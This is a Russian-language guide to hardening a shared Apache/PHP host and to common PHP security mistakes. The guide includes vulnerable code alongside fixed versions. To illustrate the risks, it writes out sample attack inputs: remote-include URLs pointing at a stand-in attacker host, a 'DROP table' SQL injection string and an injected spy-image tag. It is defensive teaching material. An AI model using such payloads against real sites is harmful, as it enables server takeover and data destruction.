ru en uk

  авторизация

(044) 362 48 16   (098) 294 41 60


   Цены

Установка сервера


Мультихоствая конфигурация сервера


Сразу скажем что PHP и Апач в этой области далеко не продвинулись. Нормальная многопользовательская конфигурация веб-сервера должна работать под разными пользователями. Т.е. каждый пользователь имеет свою учетную запись в системе, логинится под ней через ФТП, закачивает файлы с правами 0700 и только он может оперировать со своими файлами на веб-сервере. Для этого действует механизм suExec, который, к сожалению, не поддержывается Апачем, когда PHP запущен как модуль. Эта настройка действует только для CGI.


Есть несколько различных решений этой проблем:

  • Настроить хитромудрую систему юзеров/груп, суть которой всегда сводится к тому что все пользователи входят в одну групу, под которой и запущен юзер апача. Например, есть група "www" в которую входят пользователи "nobody", "pupkin", "jsmith". В httpd.conf есть директива
    ...<br>
    <b>User</b> nobody<br>
    <b>Group</b> www<br>
    ...

    а ФТП настроен так что пользователи кладут файлы с правами 640. Если они хотят изменять файлы не только по ФТП а и через скрипты, они выставляют права 0660.

    в любом случае такая система позволяет одним пользователям читать содержимое файлов других пользователь, а иногда (права 0660) даже изменять их.
  • Та же система, но с включенным safe_mode=On. Надежная, но глючная конфигурация. Если за неделю пользователи pupkin и jsmith не заклюют пользователя root то это значит что они не используют функции работы с файлами. Но если они задумают добавить на свой сайт что-то типа закачки файлов - админу сервера лучше не попадаться им на глаза. А все из-за того что эта директива несовместима с механизмом suExec Апача. При работе с файлами она проверяет, совпадает ли владелец файла/каталога с пльзователем Апача. А т.к. пользователь nobody (Апач) и pupkin (файлы пользователя) совсем разные - у Пупкина ничего не выйдет при попытках move_uploaded_file(), fopen(), gzopen() etc.
  • Та же система, но с включенным open_basedir=. Наиболее часто встречающийся способ. Конфигурация ограничивает какие файлы можно открыть с помощью PHP к определенному узлу дерева каталогов. Работа директивы не зависит от того, включена ли директива safe_mode. Когда скрипт пробует открыть файл, для примера, через fopen или gzopen, проверяется путь файла. Если файл находится вне указанного дерева, будет выдано предупреждение и функция не сработает. Symlink'и также открываются. Специальное значение . указывает что директория из которой запущен скрипт будет считаться базовой. Чтобы указать несколько значения, их нужно разделить двоеточием (под Виндами - точкой с запятой). As an Apache module, open_basedir paths from parent directories are now automatically inherited.


    Значение open_basedir на самом деле - префикс, а не название директории. Это означает что "open_basedir = /dir/incl" также позволит доступ к "/dir/include" и "/dir/incls" если они существуют. Если нужно ограничить доступ к определенной директории - укажите её со слешем в конце: "open_basedir = /dir/incl/"
  • Запустить несколько веб-серверов под разными пользователями. Не совсем удачное решение, придется ставить их на разные порты, что неудобно. К тому же 3-5 серверов наверняка тормознут даже хорошее железо.
  • Если Вам наплевать на всякие там предупреждения типа
    Do not use Apache 2.0 and PHP in a production environment neither on Unix nor on Windows.

    то можно поставить модуль MPM (Multi Processing Module), который включается в Апач2. Запустив Апач с модулем "mpm_perchild_module" можно запускать виртуальные хосты под разными юзверями, что ИМХО является лучшим вариантом, особенно в комбинации с safe_mode=On.


Настройка СУБД


Для каждого проекта создайте в СУБД отдельного пользователя, который имеет права ТОЛЬКО на свою базу данных. Например, для сайта г-на Пупкина в СУБД MySQL должны появиться такие записи:

<b>INSERT INTO user </b>('Host', 'User', 'Password', 'Select_priv', 'Insert_priv', 'Update_priv', 'Delete_priv', 'Create_priv', 'Drop_priv', 'Reload_priv', 'Shutdown_priv', 'Process_priv', 'File_priv', 'Grant_priv', 'References_priv', 'Index_priv', 'Alter_priv')<br>
<b>VALUES </b>(<br>
'localhost', 'pupkin', 's0ac67a5', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'<br>
);<br><br>
<b>INSERT INTO db VALUES</b><br>('localhost', 'baza_pupkina', 'pupkin', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'N', 'N', 'Y', 'Y');

Семь раз подумайте перед там как дать права на '%' а не на 'localhost' и никогда под любым предлогом не делайте этого для пользователей с правами 'root'.

REGISTER_GLOBALS


Очень важная настройка, которая вляиет не только на производитеольность, а, в первую очередь, на безопасность скриптов. Дело в том, что при register_globals=On все переменные из EGPCS (environment, get, post, cookie, session) будут доступными как обычные переменные, а при наличии двух переменных с одинаковым именем, значение будет взято из той которая левее в этой последовательности: EGPCS. Эту настройку можно поменять в php.ini. Типичный пример - подделка данных сессии через GPC, например - взлом авторизации.

Включения из URL'ов


Очень плохой подход к програмированию делать как в таком примере:

index.php?showpage=news.php
<?php
$page=$_GET['showpage'];
include($page);
?>

В лучшем случае вызов страницы index.php?showpage=bla_bla.php покажет ошибку и некоторые данные сервера, в худшем - читать файлы паролей etc. и возможность хакеру запускать свои скрипты в вашем виртуальном хосте со всеми вытекающими последствиями. Последняя угроза лежит в том что хакер может запустить удаленный файл через

index.php?showpage=ftp://ftp.haker.ru/evil-script.php

или

index.php?showpage=http://haker.ru/evil-script.php

(Естественно, файл evil-script.php не должен парсится сервером haker.ru, а выдавать содержимое как есть)

Непроверка типов файлов при закачке


Если давать пользователям возможность закачивать некоторые файлы (например фотки, свои файлы) на файловую систему сервера и при этом не проверять их расширение, то верняк - вас хакнут. Достаточно будет закачать свой скрипт с расширением *.php а потом запустить его, как можно будет получить доступ ко всей инфе на сайте, скриптам, базе а также подредактировать содержимое.

Как проверять можно посмотреть здесь

Непроверка ввода пользователя


Все что вводится через GET-POST-COOKIE обязательно должно проверяться, приводиться к наименьшему типу, потому что никто не мешает юзеру поредактировать POST-форму, дописать в УРЛу чего-нибудь, поредактировать куку или, вообще, послать свой запрос телепортом, вообщем - прислать вам троянскую свинью

Наиболее типичная цель таких атак - SQL запросы, которые формируются из запросов пользователя. В таком примере:

file.php?id=23
<?php
$res=mysql_query("SELECT * FROM table WHERE id=".$_GET['id']);
?>

ничто не мешает дописать пользователю что-либо кроме ?id=23 или спровоцировать ошибку. Например

index.php?id=23; DROP table

удалит таблицу, а ещё, в зависимости от прав пользователя, можно много чего натворить.

Всегда приводите типы переменных к наименьшему:

index.php?id=23; DROP table

<?php
$id=(int)$_GET['id'];
if ($id<1){
die('No ID specified');
}
$res=mysql_query("SELECT * FROM table WHERE id=".$id);
?>

выведет что и ожидалось.

Если данные должны быть строковые - проверяйте их как можно глубже. Это может быть и длина (максимальная, минимальная, пустая строка), наличие недопустимых знаков (латинские, цифры, кириллица), правильность УРЛов, адресов електронной почты.

Нагруженные УРЛы


Передавайте через УРЛ минимум информации:
<b>http://www.example.com/showuser.php?name=Pupkin&dept=13&cat=employee&show=full</b><br>
намного лучше будет так<br>
<b>http://www.example.com/showuser.php?id=176</b>

Использование посетителями HTML


Если вы даете своим посетителям вводить какие-либо данные, которые потом будут показаны на странице (н. сообщения форума, чата, новости, резюме etc.) ВСЕГДА делайте над вводом пользователя htmlencode() перед тем как выдать его на-гора. А то они обязательно напихают туда каких-либо <img src="http://haker.ru/evil-spy.php"> или <iframe src=c:\></iframe>
« ‹  1 | 2   »

 
Блокировка файлов
29.05.2007
"Warning! On most operation systems flock() is implemented at the process level. When using a multithreaded server API like ISAPI you cannot rely on flock() to protect files against other PHP scripts running in parallel threads of the same server instance!"
Постраничный вывод результата
29.05.2007
Блокировка файлов
29.05.2007
"Warning! On most operation systems flock() is implemented at the process level. When using a multithreaded server API like ISAPI you cannot rely on flock() to protect files against other PHP scripts running in parallel threads of the same server instance!"

 

Rambler's Top100